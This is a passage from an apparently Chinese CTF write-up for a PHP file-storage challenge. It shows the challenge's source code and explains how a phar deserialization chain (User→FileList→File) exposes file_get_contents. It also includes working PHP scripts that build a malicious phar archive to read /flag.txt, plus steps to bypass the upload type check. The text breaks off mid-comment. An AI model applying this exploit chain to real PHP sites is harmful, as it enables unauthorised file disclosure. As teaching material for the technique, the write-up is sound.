class="comment">//ini_set()这个函数,可以设置php的一些配置,其中就包括open_basedir,用来限制当前程序可以</span></span><br><span class="line"><span class="comment">//可以访问的目录,后来问了一下朱师傅,了解到:它是可以访问设置目录下的所有下级目录。</span></span><br><span class="line"><span class="comment">//若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/other"都是可以</span></span><br><span class="line"><span class="comment">//访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。”."可代表当前</span></span><br><span class="line"><span class="comment">//目录,open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它</span></span><br><span class="line"><span class="comment">//系统中用冒号分隔目录。例:</span></span><br><span class="line"><span class="comment">//ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); </span></span><br><span class="line"><span class="comment">//就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。</span></span><br><span class="line"><span class="comment">//解释了为什么要在delete.php中利用payload,而不是download.php。</span></span><br><span class="line"><span class="comment">//ini_set("open_basedir", getcwd() . ":/etc:/tmp");</span></span><br><span class="line"></span><br><span class="line">chdir(<span class="variable">$_SESSION</span>[<span class="string">'sandbox'</span>]);</span><br><span class="line"><span class="variable">$file</span> = <span class="keyword">new</span> File();</span><br><span class="line"><span class="variable">$filename</span> = (<span class="keyword">string</span>) <span class="variable">$_POST</span>[<span class="string">'filename'</span>];</span><br><span class="line"><span class="keyword">if</span> (strlen(<span class="variable">$filename</span>) < <span class="number">40</span> && <span class="variable">$file</span>->open(<span class="variable">$filename</span>) && stristr(<span class="variable">$filename</span>, <span class="string">"flag"</span>) === <span class="literal">false</span>) {</span><br><span class="line"> Header(<span class="string">"Content-type: application/octet-stream"</span>);</span><br><span class="line"> Header(<span class="string">"Content-Disposition: attachment; filename="</span> . basename(<span class="variable">$filename</span>));</span><br><span class="line"> <span class="keyword">echo</span> <span class="variable">$file</span>->close();</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"File not exist"</span>;</span><br><span class="line">}</span><br><span class="line">?</span><br></pre></td></tr></table></figure><p>index.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">include</span> <span class="string">"class.php"</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> FileList(<span class="variable">$_SESSION</span>[<span class="string">'sandbox'</span>]);</span><br><span class="line"><span class="variable">$a</span>->Name();</span><br><span class="line"><span class="variable">$a</span>->Size();</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>当执行 $a = new FileList($_SESSION[‘sandbox’])时,会先调用构造函数,把“$_SESSION[‘sandbox’]”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,$this->files要等于一个数组。</p><p>class.php文件中存在三个类,含有很多的魔法函数</p><p>一下主要对魔法函数进行分析:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"><span class="variable">$dbaddr</span> = <span class="string">"127.0.0.1"</span>;</span><br><span class="line"><span class="variable">$dbuser</span> = <span class="string">"root"</span>;</span><br><span class="line"><span class="variable">$dbpass</span> = <span class="string">"root"</span>;</span><br><span class="line"><span class="variable">$dbname</span> = <span class="string">"dropbox"</span>;</span><br><span class="line"><span class="variable">$db</span> = <span class="keyword">new</span> mysqli(<span class="variable">$dbaddr</span>, <span class="variable">$dbuser</span>, <span class="variable">$dbpass</span>, <span class="variable">$dbname</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$db</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">global</span> <span class="variable">$db</span>;</span><br><span class="line"> <span class="keyword">$this</span>->db = <span class="variable">$db</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">user_exist</span>(<span class="params"><span class="variable">$username</span></span>) </span>{</span><br><span class="line"> <span class="variable">$stmt</span> = <span class="keyword">$this</span>->db->prepare(<span class="string">"SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"</span>);</span><br><span class="line"> <span class="variable">$stmt</span>->bind_param(<span class="string">"s"</span>, <span class="variable">$username</span>);</span><br><span class="line"> <span class="variable">$stmt</span>->execute();</span><br><span class="line"> <span class="variable">$stmt</span>->store_result();</span><br><span class="line"> <span class="variable">$count</span> = <span class="variable">$stmt</span>->num_rows;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$count</span> === <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">add_user</span>(<span class="params"><span class="variable">$username</span>, <span class="variable">$password</span></span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->user_exist(<span class="variable">$username</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$password</span> = sha1(<span class="variable">$password</span> . <span class="string">"SiAchGHmFx"</span>);</span><br><span class="line"> <span class="variable">$stmt</span> = <span class="keyword">$this</span>->db->prepare(<span class="string">"INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"</span>);</span><br><span class="line"> <span class="variable">$stmt</span>->bind_param(<span class="string">"ss"</span>, <span class="variable">$username</span>, <span class="variable">$password</span>);</span><br><span class="line"> <span class="variable">$stmt</span>->execute();</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">verify_user</span>(<span class="params"><span class="variable">$username</span>, <span class="variable">$password</span></span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">$this</span>->user_exist(<span class="variable">$username</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$password</span> = sha1(<span class="variable">$password</span> . <span class="string">"SiAchGHmFx"</span>);</span><br><span class="line"> <span class="variable">$stmt</span> = <span class="keyword">$this</span>->db->prepare(<span class="string">"SELECT `password` FROM `users` WHERE `username` = ?;"</span>);</span><br><span class="line"> <span class="variable">$stmt</span>->bind_param(<span class="string">"s"</span>, <span class="variable">$username</span>);</span><br><span class="line"> <span class="variable">$stmt</span>->execute();</span><br><span class="line"> <span class="variable">$stmt</span>->bind_result(<span class="variable">$expect</span>);</span><br><span class="line"> <span class="variable">$stmt</span>->fetch();</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$expect</span>) && <span class="variable">$expect</span> === <span class="variable">$password</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">$this</span>->db->close();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FileList</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$files</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$results</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$funcs</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$path</span></span>) </span>{</span><br><span class="line"> <span class="keyword">$this</span>->files = <span class="keyword">array</span>();</span><br><span class="line"> <span class="keyword">$this</span>->results = <span class="keyword">array</span>();</span><br><span class="line"> <span class="keyword">$this</span>->funcs = <span class="keyword">array</span>();</span><br><span class="line"> <span class="variable">$filenames</span> = scandir(<span class="variable">$path</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$key</span> = array_search(<span class="string">"."</span>, <span class="variable">$filenames</span>);</span><br><span class="line"> <span class="keyword">unset</span>(<span class="variable">$filenames</span>[<span class="variable">$key</span>]);</span><br><span class="line"> <span class="variable">$key</span> = array_search(<span class="string">".."</span>, <span class="variable">$filenames</span>);</span><br><span class="line"> <span class="keyword">unset</span>(<span class="variable">$filenames</span>[<span class="variable">$key</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$filenames</span> <span class="keyword">as</span> <span class="variable">$filename</span>) {</span><br><span class="line"> <span class="variable">$file</span> = <span class="keyword">new</span> File();</span><br><span class="line"> <span class="variable">$file</span>->open(<span class="variable">$path</span> . <span class="variable">$filename</span>);</span><br><span class="line"> array_push(<span class="keyword">$this</span>->files, <span class="variable">$file</span>);</span><br><span class="line"> <span class="keyword">$this</span>->results[<span class="variable">$file</span>->name()] = <span class="keyword">array</span>();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">//__call($func,$args)会在对象调用的方法不存在时,自动执行。 $func:被调用的方法名,</span></span><br><span class="line"><span class="comment">//所以$func()在这个魔术方法中,可以表示被调用的那个方法; $args : 被调用方法中的</span></span><br><span class="line"><span class="comment">//参数(这是个数组</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$func</span>, <span class="variable">$args</span></span>) </span>{</span><br><span class="line"> array_push(<span class="keyword">$this</span>->funcs, <span class="variable">$func</span>);</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="keyword">$this</span>->files <span class="keyword">as</span> <span class="variable">$file</span>) {</span><br><span class="line"> <span class="keyword">$this</span>->results[<span class="variable">$file</span>->name()][<span class="variable">$func</span>] = <span class="variable">$file</span>-><span class="variable">$func</span>();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable">$table</span> = <span class="string">'<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'</span>;</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<thead><tr>'</span>;</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="keyword">$this</span>->funcs <span class="keyword">as</span> <span class="variable">$func</span>) {</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<th scope="col" class="text-center">'</span> . htmlentities(<span class="variable">$func</span>) . <span class="string">'</th>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<th scope="col" class="text-center">Opt</th>'</span>;</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'</thead><tbody>'</span>;</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="keyword">$this</span>->results <span class="keyword">as</span> <span class="variable">$filename</span> => <span class="variable">$result</span>) {</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<tr>'</span>;</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$result</span> <span class="keyword">as</span> <span class="variable">$func</span> => <span class="variable">$value</span>) {</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<td class="text-center">'</span> . htmlentities(<span class="variable">$value</span>) . <span class="string">'</td>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'<td class="text-center" filename="'</span> . htmlentities(<span class="variable">$filename</span>) . <span class="string">'"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'</span>;</span><br><span class="line"> <span class="variable">$table</span> .= <span class="string">'</tr>'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">echo</span> <span class="variable">$table</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">File</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$filename</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">open</span>(<span class="params"><span class="variable">$filename</span></span>) </span>{</span><br><span class="line"> <span class="keyword">$this</span>->filename = <span class="variable">$filename</span>;</span><br><span class="line"> <span class="keyword">if</span> (file_exists(<span class="variable">$filename</span>) && !is_dir(<span class="variable">$filename</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">name</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> basename(<span class="keyword">$this</span>->filename);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">size</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable">$size</span> = filesize(<span class="keyword">$this</span>->filename);</span><br><span class="line"> <span class="variable">$units</span> = <span class="keyword">array</span>(<span class="string">' B'</span>, <span class="string">' KB'</span>, <span class="string">' MB'</span>, <span class="string">' GB'</span>, <span class="string">' TB'</span>);</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$size</span> >= <span class="number">1024</span> && <span class="variable">$i</span> < <span class="number">4</span>; <span class="variable">$i</span>++) <span class="variable">$size</span> /= <span class="number">1024</span>;</span><br><span class="line"> <span class="keyword">return</span> round(<span class="variable">$size</span>, <span class="number">2</span>).<span class="variable">$units</span>[<span class="variable">$i</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">detele</span>(<span class="params"></span>) </span>{</span><br><span class="line"> unlink(<span class="keyword">$this</span>->filename);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">close</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> file_get_contents(<span class="keyword">$this</span>->filename);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><strong>3. file_get_contents()函数解析phar://伪协议时会将meta-data类型的数据进行反序列化</strong></p><p><img src="2.png" alt="2"></p><p><strong>4.exp</strong></p><p>直接构造:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">File</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$filename</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">close</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> file_get_contents(<span class="keyword">$this</span>->filename);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$db</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">$this</span>->db->close();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="variable">$phar</span> = <span class="keyword">new</span> Phar(<span class="string">"phar1.phar"</span>);</span><br><span class="line"><span class="variable">$phar</span>->startBuffering();</span><br><span class="line"><span class="variable">$phar</span>->addFromString(<span class="string">"exp.txt"</span>,<span class="string">"test"</span>);</span><br><span class="line"><span class="variable">$phar</span>->setStub(<span class="variable">$jpeg_header_size</span>.<span class="string">" __HALT_COMPILER(); ?>"</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$user</span>=<span class="keyword">new</span> User();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="variable">$phar</span>->setMetadata(<span class="variable">$user</span>);</span><br><span class="line"><span class="variable">$phar</span>->stopBuffering();</span><br></pre></td></tr></table></figure><p>但是这个exp不能用,因为获取到的flag内容没有回显</p><p>所以中途还要经过fileLise类</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$db</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">File</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$filename</span>;</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">FileList</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$files</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$results</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$funcs</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable">$file</span> = <span class="keyword">new</span> File();</span><br><span class="line"> <span class="variable">$file</span>->filename = <span class="string">'/flag.txt'</span>;</span><br><span class="line"> <span class="keyword">$this</span>->files = <span class="keyword">array</span>(<span class="variable">$file</span>);</span><br><span class="line"> <span class="keyword">$this</span>->results = <span class="keyword">array</span>();</span><br><span class="line"> <span class="keyword">$this</span>->funcs = <span class="keyword">array</span>();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">@unlink(<span class="string">"phar.phar"</span>);</span><br><span class="line"><span class="variable">$phar</span> = <span class="keyword">new</span> Phar(<span class="string">"phar.phar"</span>); <span class="comment">//后缀名必须为phar</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$phar</span>->startBuffering();</span><br><span class="line"></span><br><span class="line"><span class="variable">$phar</span>->setStub(<span class="string">"<?php __HALT_COMPILER(); ?>"</span>); <span class="comment">//设置stub</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$o</span> = <span class="keyword">new</span> User();</span><br><span class="line"><span class="variable">$o</span>->db = <span class="keyword">new</span> FileList();</span><br><span class="line"></span><br><span class="line"><span class="variable">$phar</span>->setMetadata(<span class="variable">$o</span>); <span class="comment">//将自定义的meta-data存入manifest</span></span><br><span class="line"><span class="variable">$phar</span>->addFromString(<span class="string">"exp.txt"</span>, <span class="string">"test"</span>); <span class="comment">//添加要压缩的文件</span></span><br><span class="line"><span class="comment">//签名自动计算</span></span><br><span class="line"><span class="variable">$phar</span>->stopBuffering();</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><strong>5. 上传构造的phar文件</strong></p><p>upload.php文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_FILES</span>[<span class="string">"file"</span>])) {</span><br><span class="line"> <span class="variable">$filename</span> = <span class="variable">$_FILES</span>[<span class="string">"file"</span>][<span class="string">"name"</span>];</span><br><span class="line"> <span class="variable">$pos</span> = strrpos(<span class="variable">$filename</span>, <span class="string">"."</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$pos</span> !== <span class="literal">false</span>) {</span><br><span class="line"> <span class="variable">$filename</span> = substr(<span class="variable">$filename</span>, <span class="number">0</span>, <span class="variable">$pos</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="variable">$fileext</span> = <span class="string">".gif"</span>;</span><br><span class="line"> <span class="keyword">switch</span> (<span class="variable">$_FILES</span>[<span class="string">"file"</span>][<span class="string">"type"</span>]) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'image/gif'</span>:</span><br><span class="line"> <span class="variable">$fileext</span> = <span class="string">".gif"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'image/jpeg'</span>:</span><br><span class="line"> <span class="variable">$fileext</span> = <span class="string">".jpg"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'image/png'</span>:</span><br><span class="line"> <span class="variable">$fileext</span> = <span class="string">".png"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="variable">$response</span> = <span class="keyword">array</span>(<span class="string">"success"</span> => <span class="literal">false</span>, <span class="string">"error"</span> => <span class="string">"Only gif/jpg/png allowed"</span>);</span><br><span class="line"> Header(<span class="string">"Content-type: application/json"</span>);</span><br><span class="line"> <span class="keyword">echo</span> json_encode(<span class="variable">$response</span>);</span><br><span class="line"> <span class="keyword">die</span>();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>upload文件只对上传文件的后缀名和类型做限制,更改文件名和类型即可上传:</p><p><img src="3.png" alt="3"></p><p><strong>6. delete.php文件触发反序列化</strong></p><p>因为download.php有限制</p><p><img src="4.png" alt="4"></p><p>只能访问到etc和tmp文件下的文件</p><p><strong>7.delete.php访问phar.png文件读取到flag</strong></p><p><img src="5.png" alt="5"></p><p>补充:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">#代码精简一下</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">File</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$filename</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">close</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> file_get_contents(<span class="keyword">$this</span>->filename);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * 利用链:</span></span><br><span class="line"><span class="comment"> * User{}-->$db=new FileList{}-->__destruct()-->FileList{}__call()--></span></span><br><span class="line"><span class="comment"> * (__call函数第一个参数赋值为close()) new 